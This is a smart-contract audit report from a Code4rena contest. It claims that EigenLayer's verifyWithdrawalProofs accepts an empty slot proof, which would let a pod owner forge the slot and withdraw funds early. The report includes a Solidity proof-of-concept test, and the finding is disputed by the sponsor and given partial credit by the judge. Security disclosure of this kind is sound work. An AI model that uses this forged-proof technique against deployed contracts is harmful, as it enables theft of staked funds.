The length of proofs.slotProof is not checked in the verifyWithdrawalProofs function, allowing a malicious EigenPod Owner to be issued only shares via StrategyManager and withdraw all their money

[code423n4]

Lines of code

https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/pods/EigenPod.sol#L340-L358 https://github.com/code-423n4/2023-04-eigenlayer/blob/5e4872358cd2bda1936c29f460ece2308af4def6/src/contracts/libraries/BeaconChainProofs.sol#L245-L294

Vulnerability details

Impact

Below is a portion of the verifyAndProcessWithdrawal function.

// Verifying the withdrawal as well as the slot
        BeaconChainProofs.verifyWithdrawalProofs(beaconStateRoot, withdrawalProofs, withdrawalFields);
        // Verifying the validator fields, specifically the withdrawable epoch
        BeaconChainProofs.verifyValidatorFields(validatorIndex, beaconStateRoot, validatorFieldsProof, validatorFields);

        uint64 withdrawalAmountGwei = Endian.fromLittleEndianUint64(withdrawalFields[BeaconChainProofs.WITHDRAWAL_VALIDATOR_AMOUNT_INDEX]);

        //check if the withdrawal occured after mostRecentWithdrawalBlockNumber
        uint64 slot = Endian.fromLittleEndianUint64(withdrawalProofs.slotRoot);

        /**
         * if the validator's withdrawable epoch is less than or equal to the slot's epoch, then the validator has fully withdrawn because
         * a full withdrawal is only processable after the withdrawable epoch has passed.
         */
        // reference: uint64 withdrawableEpoch = Endian.fromLittleEndianUint64(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]);
        if (Endian.fromLittleEndianUint64(validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]) <= slot/BeaconChainProofs.SLOTS_PER_EPOCH) {
            _processFullWithdrawal(withdrawalAmountGwei, validatorIndex, beaconChainETHStrategyIndex, podOwner, validatorStatus[validatorIndex]);
        } else {
            _processPartialWithdrawal(slot, withdrawalAmountGwei, validatorIndex, podOwner);
        }

withdrawalProofs is used once as a parameter to the verifyWithdrawalProofs function, and withdrawalProofs.slot is a value that can determine whether to run the _processFullWithdrawal or _processPartialWithdrawal function.

Consider the fullWithdrawalProof.json given as test data.

"slotRoot": "0xd6a8000000000000000000000000000000000000000000000000000000000000",
"blockHeaderRoot": "0x180e63f75d01ca01a056dfc42dc3a30d0775e1da8e51001fbb2a3d68d96c5f14", // changed slotRoot
"ValidatorFields": [
        "0x2c58c7f513dab2de353f008ddaf054749e80709b8ec1f397011773c7b29cd950",
        "0x01000000000000000000000085a0c86944b1d7e1119b7c93ad2b771480561ae3",
        "0x0000000000000000000000000000000000000000000000000000000000000000",
        "0x0000000000000000000000000000000000000000000000000000000000000000",
        "0xb301000000000000000000000000000000000000000000000000000000000000",
        "0x0c02000000000000000000000000000000000000000000000000000000000000",
        "0x6603000000000000000000000000000000000000000000000000000000000000",
        "0x6604000000000000000000000000000000000000000000000000000000000000" // validatorFields[BeaconChainProofs.VALIDATOR_WITHDRAWABLE_EPOCH_INDEX]
    ],

Based on the test data above, originally slotRoot/BeaconChainProofs.SLOTS_PER_EPOCH should be greater than validatorFields[BeaconChainProofs.VALIDATOR_WITHHDRAWABLE_EPOCH_INDEX] and the _processFullWithdrawal function should be executed. However, with the ability to manipulate the slotRoot, the _processPartialWithdrawal function can be executed, which means that ETH can be withdrawn immediately without any latency, even if it negatively affects the middleware.

I'm sorry for the lack of explanation, I was just looking for a vulnerability and writing a report while I was nearing the end of my time. If you need a detailed explanation, please call windowhan001 in the eigenlayer contest channel.

Proof of Concept

function testFullWithdrawalProof() public {
        setJSON("./src/test/test-data/fullWithdrawalProof.json");
        BeaconChainProofs.WithdrawalProofs memory proofs = _getWithdrawalProof();
        withdrawalFields = getWithdrawalFields();   
        validatorFields = getValidatorFields();

        Relayer relay = new Relayer();

        bytes32 beaconStateRoot = getBeaconStateRoot();
        relay.verifyWithdrawalProofs(beaconStateRoot, proofs, withdrawalFields);

}
...
function _getWithdrawalProof() internal returns(BeaconChainProofs.WithdrawalProofs memory) {
        //make initial deposit
        cheats.startPrank(podOwner);
        eigenPodManager.stake{value: stakeAmount}(pubkey, signature, depositDataRoot);
        cheats.stopPrank();

        {
            bytes32 beaconStateRoot = getBeaconStateRoot();
            //set beaconStateRoot
            beaconChainOracle.setBeaconChainStateRoot(beaconStateRoot);
            bytes32 blockHeaderRoot = getBlockHeaderRoot();
            bytes32 blockBodyRoot = getBlockBodyRoot();
            bytes32 slotRoot = getBlockHeaderRoot(); // Changed!!!!
            bytes32 blockNumberRoot = getBlockNumberRoot();
            bytes32 executionPayloadRoot = getExecutionPayloadRoot();

            uint256 withdrawalIndex = getWithdrawalIndex();
            uint256 blockHeaderRootIndex = getBlockHeaderRootIndex();

            BeaconChainProofs.WithdrawalProofs memory proofs = BeaconChainProofs.WithdrawalProofs(
                abi.encodePacked(getBlockHeaderProof()),
                abi.encodePacked(getWithdrawalProof()),
                abi.encodePacked(getSlotProof()),
                abi.encodePacked(getExecutionPayloadProof()),
                abi.encodePacked(getBlockNumberProof()),
                uint64(blockHeaderRootIndex),
                uint64(withdrawalIndex),
                blockHeaderRoot,
                blockBodyRoot,
                slotRoot,
                blockNumberRoot,
                executionPayloadRoot
            );
            return proofs;
        }
    }
...
function getSlotProof() public returns(bytes32[] memory){ // Changed!!!
        //for (uint i = 0; i < 3; i++) {
        //    prefix = string.concat(".SlotProof[", string.concat(vm.toString(i), "]"));
        //    slotProof[i] = (stdJson.readBytes32(proofConfigJson, prefix));
        //}
        bytes32[] memory emptyArray = new bytes32[](0);
        return emptyArray;
    }

Tools Used

Manual Audit

Recommended Mitigation Steps

Assessed type

Context

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[c4-sponsor]

Sidu28 marked the issue as sponsor disputed

[Sidu28]

No method to manipulate the slot root was supplied as part of this report. It is checked against.

[c4-judge]

GalloDaSballo marked the issue as unsatisfactory: Insufficient proof

[GalloDaSballo]

Asking Warden to add more proof, closing in the meantime

[c4-judge]

GalloDaSballo marked the issue as duplicate of #388

[c4-judge]

GalloDaSballo marked the issue as partial-50

[GalloDaSballo]

The warden forgot to say that you can pass an empty proof to pass the validation, but they did it in the POC

Awarding 50% because the finding was "saved" as a dup as the contents of this report alone were too obtuse